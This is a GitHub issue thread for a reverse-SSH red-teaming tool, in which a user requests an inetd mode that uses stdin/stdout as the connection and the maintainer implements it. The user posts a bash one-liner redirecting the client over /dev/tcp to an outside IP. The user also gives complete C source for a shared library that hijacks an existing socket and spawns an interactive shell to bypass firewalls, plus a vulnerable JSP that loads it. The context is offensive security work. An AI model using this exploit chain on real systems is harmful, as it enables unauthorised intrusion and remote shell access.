-
-
Notifications
You must be signed in to change notification settings - Fork 117
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add inetd mode to client #149
Comments
Hi there! Awesome to hear that you're using reverse ssh to do red teaming! I am a bit unfamiliar with inetd (and Im assuming when you say os.Stdin you're also mean using os.Stdout as well?) could you give me just a brief "why this is useful" sort of thing? |
Yes ! stdin and stdout that act like connected socket. dup2(socket,stdin);
dup2(socket,stdout);
dup2(socket,stderr);
char *const argv[] = {"./client", "-inetd", NULL};
execve("./client", argv, NULL ); or directly via bash for example ./client -inetd >& /dev/tcp/1.2.3.4/1337 0>&1 I think it's a minor change that could be useful I'm actually learning go, i'm not familiar with this language but i already used this chunk of code for another project ( found on some gist on github ) maybe it could help type StdioListener bool
type StdioConn bool
var stategen = make(chan bool)
func (sl *StdioListener) Addr() net.Addr {
return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}
// Conn impl
func (sl *StdioConn) Read(b []byte) (int, error) {
return os.Stdin.Read(b)
}
func (sl *StdioConn) Write(b []byte) (int, error) {
return os.Stdout.Write(b)
}
func (sl *StdioConn) LocalAddr() net.Addr {
return &net.IPAddr{net.IPv4(0, 0, 0, 0), ""}
}
func (sl *StdioConn) RemoteAddr() net.Addr {
return sl.LocalAddr()
}
func (sl *StdioConn) SetDeadline(t time.Time) error {
return nil
}
func (sl *StdioConn) SetReadDeadline(t time.Time) error {
return nil
}
func (sl *StdioConn) SetWriteDeadline(t time.Time) error {
return nil
}
func (sl *StdioConn) Close() error {
stategen <- false
return nil
}
// conn := new(StdioConn) |
Well that's sick, can you expand a bit on how you'd reuse an open fd for this? I'll definitely add it, but what accommodations do you need on the server then, as its kind of up to you to write the pipe or however you're getting the network stream out |
Sure, for example from a java deserialization or jsp upload you can abuse System.load to hijack a socket and reuse it : #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define MAGIC "hello"
void reuse(unsigned int fd);
/**
gcc -fno-stack-protector -fPIC lib.c -shared -o /tmp/lib.so
Very simple firewall bypass using /bin/sh for reuse but it'd be better with rssh ;-)
**/
__attribute__((constructor)) int hijacksocket(){
int ret=-1;
char buf[1024];
for (unsigned int i=0;i<512;i++){
struct sockaddr_in address;
socklen_t address_len = sizeof(struct sockaddr);
if (( ret = getpeername(i, (struct sockaddr *)&address,&address_len)) == 0 ){
if (address_len > sizeof(struct sockaddr)){
int b = fcntl(i, F_GETFL, 0);
fcntl(i, F_SETFL, b & ~O_NONBLOCK);
memset( buf, 0, 1024 );
ret = send( i, MAGIC, strlen(MAGIC), 0 );
ret = recv( i, &buf, strlen(MAGIC), 0 );
if (memcmp( buf, MAGIC, strlen( MAGIC ) ) == 0){
reuse( i );
}
fcntl(i, F_SETFL, b & O_NONBLOCK);
return 0;
}
}
}
return -1;
}
void reuse(unsigned int sock){
char *argv[] = {"sh","-i",NULL};
pid_t child = fork();
int status;
if (child == 0){
setsid();
pid_t child2 = fork();
if(child2 == 0){
for (int i=0;i<1024;i++)
if (i != sock)
close(i);
dup2(sock,0);
dup2(sock,1);
dup2(sock,2);
execve("/bin/sh",argv,NULL);
}else{
close(sock);
waitpid(child2, &status, WNOHANG);
exit(0);
}
}else{
close(sock);
wait(NULL);
return;
}
return;
} a vuln jsp : $ cat apache-tomcat-9.0.84/webapps/ROOT/vuln.jsp
<%
try{
java.io.FileInputStream is = new java.io.FileInputStream("/tmp/lib.so");
java.io.File native_library = java.io.File.createTempFile("lib", ".so");
native_library.deleteOnExit();
native_library.setWritable(true);
native_library.setExecutable(true);
if (native_library.exists()) {
java.io.FileOutputStream os = new java.io.FileOutputStream(native_library);
int read;
byte[] buffer = new byte[4096];
while ((read = is.read(buffer)) != -1) {
os.write(buffer, 0, read);
}
os.close();
is.close();
System.load(native_library.getPath());
}
else {
is.close();
}
}catch(Exception e){
out.println(e);
}
%> and then the reuse itself
|
For the server i think it isn't necessary, between the tool that poll rssh and the server socket side i think an epoll/select will do the work. |
Gotta say that is pretty cool, a few months ago we could have really used a poc for socket reuse haha! Just as a side note, RSSH will not function over a non-order/udp streams just as an FYI. |
This now exists on unstable. Feel free to give it a shot! |
You can switch to unstable in the docker container by doing this:
Then in the rssh repo in the docker container: git pull
git checkout unstable As the server wont be upgraded you wont see the options I've chucked up there to make things easier (namely This will obviously disable stdout logging |
Thanks ! it works well. Yet i have a bug if I lose the socket attached to the stdout of client, it stills try to use it :
Regards and again thanks a lot for this addition |
Hmmmm, not really sure how to fix that on the rssh side of things. Rssh should just try and reopen the studio file handles as it will get kicked back into it's reconnect loop. But if you've replaced those fds to start with there isn't really a way to inform rssh it should be using something else. I can always just make the program exit if stdout/stdin is closed, thoughts? |
I think rssh couldn't be aware of the socket status attached to his own file descriptors. The only information it could have is that writing to stdout and reading from stdin is impossible due to the socket closed status on other side.
Yes i think we could just exit if rssh detects that stdout is closed. |
Yep sweet, it'll now die on stdio handle disconnection |
Hello, first thanks for this tool it helps a lot during redteaming.
Is it possible to add inetd mode ( simulate a net.Conn with os.Stdin ) on client ?
The text was updated successfully, but these errors were encountered: